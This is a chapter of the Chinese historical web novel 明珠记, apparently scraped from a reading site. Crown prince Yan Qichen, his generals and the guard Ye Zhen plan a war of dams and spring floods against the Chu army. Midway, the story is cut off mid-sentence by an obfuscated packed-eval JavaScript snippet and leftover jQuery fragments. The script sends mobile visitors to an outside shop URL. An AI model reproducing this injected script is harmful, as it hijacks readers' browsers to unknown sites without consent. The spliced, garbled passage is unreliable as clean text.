文趣网 > 其他小说 > 明珠记 > 8. 鹤鸣九皋
    书房内顿时一静,慕容潇道:“殿下觉得哪里不对?”

    “位置不对。”

    燕其琛手中的木杖重重落在代表楚军高台的沙堆上:“若真的只是为了防骑兵偷袭,他们理应将工事修在更宽阔平缓的地带阻拦骑兵。但他们一直在沿河岸修高台。方才大将军也说,楚军还往河道里打木桩。楚军据守的河道之处,恰恰在溧水河道的一个葫芦口,入口窄,出口宽。谢思玄此人极擅水战,以孤之见,他恐怕不仅仅是为了防偷袭,还想要筑坝。”

    陈伯玉立刻明白燕其琛话里的深意:“殿下的意思,他是为了筑起水坝,淹我蓬城?”

    燕其琛点了点头。

    陈伯玉不赞同:“溧水乃三江汇合之水,想要在水上筑一座拦水大坝,至少也需两三年。谢思玄短短几个月,怎么可能修得起来?”

    “大人有所不知!”

    一直未曾发话的高奇突然出声:“末将以前在青州时,曾与东夷打过几次水战。陈大人此前带人所修的堤坝,均是为了国计民生,自然需要数年之力。但楚军所筑堰坝,不求长久,只要能截流即可。不记损耗之下,月余便可成事。”

    燕其琛赞同地看了一眼高奇,接着道:“江州上半年大旱,谢思玄又突然在七月溧水水位刚好的时候逆流而上,孤猜测,他定然在上半年河床暴露的时候就已经暗中派人在这个葫芦口打下暗桩和巨石填塞河道,否则他不会在水势疯涨的时候还直接退到这里来继续结水寨筑坝。”

    众人不禁齐齐倒吸了一口凉气,此次楚军来袭,的确像是蓄谋已久。

    慕容潇也皱起了眉,望着沙盘上的蓝色绸带:“蓬城虽有山险阻拦,但城内地势低洼,护城河也是引溧水而围。若溧水一旦被大坝堵死,江水必然回流倒灌入城。我军最不善水战,又缺战船,到时候我们只有撤了城外的营寨回城内死守,进退维谷……”

    进退维谷之时,自然要么退,要么死……

    提起战船,陈伯玉痛心疾首地长叹一声,道:“若是主力战船还在,我军何至于此。圣上当年拨下巨款,在最前沿的谯水、资陵二郡修筑水寨,建了上百艘精锐斗舰。谁知上半年江州大旱,战船困于浅滩,七月大雨一下,谢思玄那老狐狸借水势奇袭,唐季伦丢了边防二郡不说,竟连那大批精锐战船,都白白便宜了楚军!”

    话音刚落,高奇突然大步上前,掀开衣袍下摆,“扑通”一声跪在燕其琛身前:“殿下!大将军!末将有罪!”

    燕其琛微微皱眉:“高将军何出此言?”

    高奇额角青筋暴起,声音压抑而悲愤:“五年前末将自青州调任蓬城,本是负责操练水军,可我大燕当年以铁骑立国,军中素来重陆战而轻水战,唐季伦更是荒唐,竟扬言蓬城三面环山,天险阻挡,以步骑防守即可,何需军费来保养战船。”

    “十多年来,圣上拨下的军费,不知被他贪了多少。此前战事突发,末将前去调船。可蓬城水寨里所剩的那些斗舰艨艟,长年无桐油石灰保养修补,船底都已朽烂发霉。将士们刚把船推下水,舱底便直往上涌水,连个浪头都扛不住。”

    慕容潇面色陡沉,厉声斥道:“既有此等贪墨误国之事,你作为蓬城守将,何不早早上报朝廷?”

    “末将怎会未曾上报?”

    高奇抬起头,双目赤红:“末将也曾写过奏疏欲呈送京中,可全被唐季伦扣下。他是江州都知兵马使,一手遮天,还曾威胁末将,若是再敢胡说,他便会以动摇军心、污蔑上官之罪先行将末将一家老小斩首。末将死不足惜,只恨自己一时顾及家中妻儿,最后竟让我大燕的江防,毁于这等贪官污吏之手啊!”

    他俯身重重磕头,书房中氛围一下子变成沉重无比。

    燕其琛看向一旁的陈伯玉,沉声道:“陈大人,你身为江州刺史,与高将军同在蓬城,战船朽烂,大人三年来竟毫无察觉?”

    陈伯玉闻言,吓得脸色一白,也急忙撩起官服跪下:“殿下明鉴!并非老臣不查,而是我大燕文武分治,律令森严。臣虽为江州刺史,却不可干预军务。那唐季伦为掩盖贪墨,也以整顿江防,严守军机为由,用他的亲兵将水寨封锁。臣虽在蓬城,没有圣旨,也不敢擅闯水寨。造船养船的军费也一直由兵部下拨,不经州府核查。老臣也是今日才知道,江州的边防竟被这逆贼蛀空到了这般地步!”

    说罢,陈伯玉也伏地痛哭,老泪纵横。

    听完这文武两位官员的血泪之言,其余人也都是满面惊骇和滔天怒意。

    永宁帝励精图治二十余载,国富兵强,如今却因唐季伦这等误国之贼,不仅丢失领地,背后还留下了千疮百孔的烂摊子。

    霎时间,众人对唐季伦,简直恨不能食其肉啖其髓……

    张安是个急性子,听完这些憋屈事,加上前不久燕军又被楚军打得狼狈,此刻再也忍不了了,立刻道:“殿下!末将明日愿领三千精兵,去偷袭楚军营寨,烧了他们的战船!绝不让他们把水坝建起来!”

    “胡闹!”

    不等燕其琛发话,慕容潇已厉声斥责道:“如今秋季雨水不断,河滩上泥泞难行,且不说你能不能烧了他们的战船。你一带人冲过去,立刻就变成谢思玄的活靶子!唐季伦派去那三万英魂的教训,你还嫌不够是不是!?”

    张安被训得面色涨红,却又不甘地仰起头问:“那大将军说怎么办?主动进攻不行,偷袭也不行,打水战我们又缺战船。难道我们就都坐在城里,眼睁睁看着那水一天天涨起来,让楚军把咱们都活活淹死不成?”

    “谁说我们要坐以待毙?”

    燕其琛上前扶起陈伯玉和高奇两人,随后不慌不忙地回到沙盘前,捏起一枚代表燕军的红色令旗,插在了蓬城之外的一座山上。

    “谢思玄想攻之以水,我们便以其人之道,还治其人之身。”

    他微微抬眸,眼中映着明亮的烛火,透出胸有成竹的自信:“大坝壅水,水位越往后蓄得越高。水能载舟,亦能覆舟。高将军,孤若是命人提前伐木,筑好连环木筏,载以巨石、铁锥和引火之物,命将士推入水中,顺流而下。以你之见,能否冲破楚军的水坝?”

    高奇被突然问话,一时有些没反应过来,见燕其琛果然是看向自己,这才回道:“若真能如此,自然能冲垮大坝!只是……”

    他顿了顿:“眼下急用,这重筏一时半刻恐怕造不好。且马上快要入冬,过不了多久河水还可能结冰。这水势也带不起那么重的筏子……”

    高奇说到此处,忽然一停,他猛然间明白了什么,蓦地睁大眼,眸中精光闪闪:“殿下的意思,难道是想现在备齐工事,等来年春汛时,借水势一举冲破楚军水坝?”

    燕其琛笑着点了点头:“孤正是此意。”

    众人也都恍然大悟,如今深秋将至,江州的冬天极冷。燕军要过冬,楚军当然也得过冬。冬季一到,他们也掀不起什么风浪来,谢思玄现在准备的拦河大坝,秋汛前是无论如何都无法筑好的,因此定是为了明年春汛时淹城。

    近日来燕军都因先前的败仗而憋屈不已,因此人人都把目光集中在了如何迅速地逼退楚军,夺回失地这一事上。一时竟忘了,隐忍蛰伏,静待天时亦是兵法之要。

    蓬城有山险和护城河抵挡,但城内地势低洼,城外南下的溧水更是年年会有春汛。

    若燕军能提前做好准备,来年开春时,只需将所有备好的木筏、铁撞、巨石等借着凌汛的滔天水势,一涌而下,必然能冲破楚军大坝,将楚军的水寨连人带船卷走。

    相反,若燕军慢了,楚军提前筑好堤坝,则可以借春汛倒灌,水淹蓬城。

    难怪楚军最近都停止攻城袭扰,一直忙着筑坝修台。

    因为这场仗,最终比拼的,已经不是双方将士谁更勇猛,谁能杀敌更多。而是比拼谁能更快地在来年春汛之前筑好军用工事。

    燕其琛接着指了指燕军和楚军各自的位置,继续道:“我军占据溧水上游,楚军虽然在地势较高处拦坝扎营。但春汛汹涌,是以我军所需工事远比楚军简单。这几个月只需派人伐木运石即可。距明年春汛尚有半年,我军从现在开始准备绰绰有余。所以此战,只要众将士勠力同心,胜利指日可待!”

    聚在沙盘四周的文臣武将都点了点头,眼里也都重新燃起了希望的曙光。

    然而,一个清冷低沉的声音却从阴影之中,突兀地传了出来。

    “殿下算无遗策,只是……”

    众人神情错愕,都忍不住循声望去,只见燕其琛身后那个一身青袍的小护卫,正微微低头,请求道:“殿下,属下有话不得不说。”

    正是叶桢。

    慕容潇神色一凛,下意识地就要上前,又想起燕其琛先前的话,最后还是忍住了没有阻拦。

    燕其琛稍稍侧过身,往一旁挪了几步,十分自然地让出半个身位来,目光温和且期待地望着叶桢:

    “阿桢,你到前面来,说说你的见解。”

    叶桢上前,极为认真地拿起一根木杖:“蓬城在此,溧水则在此处经三江汇聚,出城南下。殿下想借春汛之势冲垮楚军水坝,自然可行。但一来楚军已占据溧水流经之地的险要之地,我军失了先机,想要防备他们淹城,必然要做更多准备,故工事也并不简单。”

    “二来,诸位大人不是江州本地人,可能都不清楚,江州今年大旱大涝,属下从定水郡一带来到蓬城路上就发现,秋霜早落,草木已枯,候鸟迁徙也比去年更早,以我多年经验,江州今年冬天也会比往年来得更早更猛。同样地,来年春汛自然也会提前,属下预计二月初便会开始。殿下若设想成了三月,以半年为期去修建工事,恐怕会有轻敌之嫌。”

    叶桢说话直来直去惯了,这会儿也丝毫没考虑别的。

    但是一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17817219|211079||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    向跟在慕容潇身边,最看不惯年轻小辈自视甚高的周乾,受不了叶桢这自命不凡的语气,直接出声呵斥:“大胆!你一个东宫小小副统领,怎么跟殿下说话的?”

    “周将军……”

    燕其琛声音冷硬:“孤都还没开口,将军怎么反倒先责备起孤的人了?”

    周乾一愣,随即俯首道:“末将不敢!”

    燕其琛神色缓和下来,看着叶桢:“阿桢,那依你之见,这一战除了工事需要抓紧,还有吗?”

    叶桢确实还没说完,见他给自己撑腰,便也大着胆子继续道:“其实殿下方才也说对了。此战我军的确胜利在望。只是,不一定非得指望春汛,因为楚军多是南方人,不见得就能熬过江州的冬天。就算他们能熬过这个冬天,我们也可以想法子让他们熬不过去,不是吗?”

    她朝燕其琛眨了眨眼,眼里透出狡黠:“谢思玄虽然占了大燕两郡和诸多战船,但他们有十万大军,不可能全指望着抢来的那点粮食。烧粮草,断粮道,或者挑拨离间一下楚国君臣,哪一个都可以让他们自乱阵脚。”

    燕其琛薄唇微勾,眼底漾起了笑意:“釜底抽薪。我亦有此想法。到时候谢思玄纵然想战,只怕也不得不退。”

    “不错。”

    叶桢手中木杖十分自然地滑到沙盘上溧水汇入漼河的入口处,抬眸迎上他的视线,双眼熠熠生辉,字字掷地有声:“不仅如此,我们还可以让他……进退不得!”

    一瞬间两人目光相对,燕其琛眼里透出了然的笑意。他看向沙盘,没有丝毫停顿地续上了她的话:

    “嗯,楚军战船居多,溧水与漼河相交之处是他们最重要的退路。一旦我军在上游借春汛发动水攻,他们只有往广陵这里逃。若让人提前在此结网伏击,围住江面。楚军……”

    他顿了顿,忍不住又看向叶桢。

    她也正看着他,极自然地接了话:“便是瓮中之鳖了!”

    话音刚落,叶桢才发觉众人都盯着自己,不免懊悔她今天确实有些忘了形。于是立刻放下木杖,往燕其琛身后退了半步,学着先前林衡的模样,以下属的姿态恭维了一句:

    “殿下英明!属下只不过是抛砖引玉。”

    看着她这一本正经装乖的模样,燕其琛忍不住低低地轻笑一声。

    二人方才这一来一回的分析,旁观的文臣武将也都看了个明白。

    “妙啊!”

    张安忍不住赞道:“先修工事,再离间楚国君臣,让那谢思玄掣肘!待来年春汛,我们便前后夹击!如此一来,天时地利人和都用上了!想不到这位小兄弟年纪轻轻,倒是颇通兵法之要!”

    一旁的陈伯玉、高奇等人也都点头称是。几人方才在旁边已看得分明,这时候直接夸叶桢可要比夸太子殿下有用得多!

    唯有统兵元帅慕容潇仍旧拧眉,他水战的经验虽少,但毕竟也在战火中摸爬滚打二十几年,他望着沙盘,神色忧忧道:

    “工事修筑必不可少,楚军当然也不能轻飘飘放过。但谯水、资陵二郡也得拿回来,否则我这个主帅,无法向圣上交代。”

    他长长一叹:“殿下和叶统领方才提出的计划固然可行,可我军驻守江州的兵力仅有七万余人,要留出进攻主力对抗楚军主力,还要留下守城、修筑工事、伏击截退的将士。而楚军有十万余人,臣听说谢思玄还正在派人送信,让楚帝萧艾从水路派兵增援,臣只怕到时候我们埋伏的将士,反被他们前后夹击!最终还是拿不回谯水、资陵二郡。”

    燕其琛道:“大将军所虑甚是。其实来江州的路上,孤也考虑过江州兵力不足。便想等到了蓬城与诸位将士商议过后,请父皇再次增兵援助江州!”

    闻言,慕容潇却轻叹一声,摇了摇头:“此事容臣与殿下再议。夜色已深,殿下,今日是否就到此为止?”

    燕其琛自然明白他心中的顾虑,先前慕容潇支援江州,已从兖州带了三万人马,他运送粮草又带来一万。

    眼下,大燕北境虽未起战事,但漠北的草原八部仍然虎视眈眈。西北凉州毗邻的戎狄部族也时时骚扰边境,去年差一点便起了战事。

    距离江州最近的青州临近海域,常有倭寇犯境,非危急时刻也不得随意调动。与江州西部相邻的颍州一带,还需防范楚军突破汉水防线。

    所以,江州之地若要再调兵增援,最合适的,只有天子所居的邺京军队。

    燕其琛是当朝太子,慕容潇是手握重兵的国舅,在皇帝眼中都是一条船上的。历来皇帝派遣监军与统兵元帅,为了制衡,绝不会让两人同属一个阵营。只是此次情况危急,永宁帝亦有心历练太子,这才派了他过来。

    若是此时再请求增兵,只怕邺京皇宫中的那位九五之尊,要防范的就不是楚军,而是这远在江州的舅甥二人了。

    “今日暂且到此,诸位大人、将军还请先退下吧。”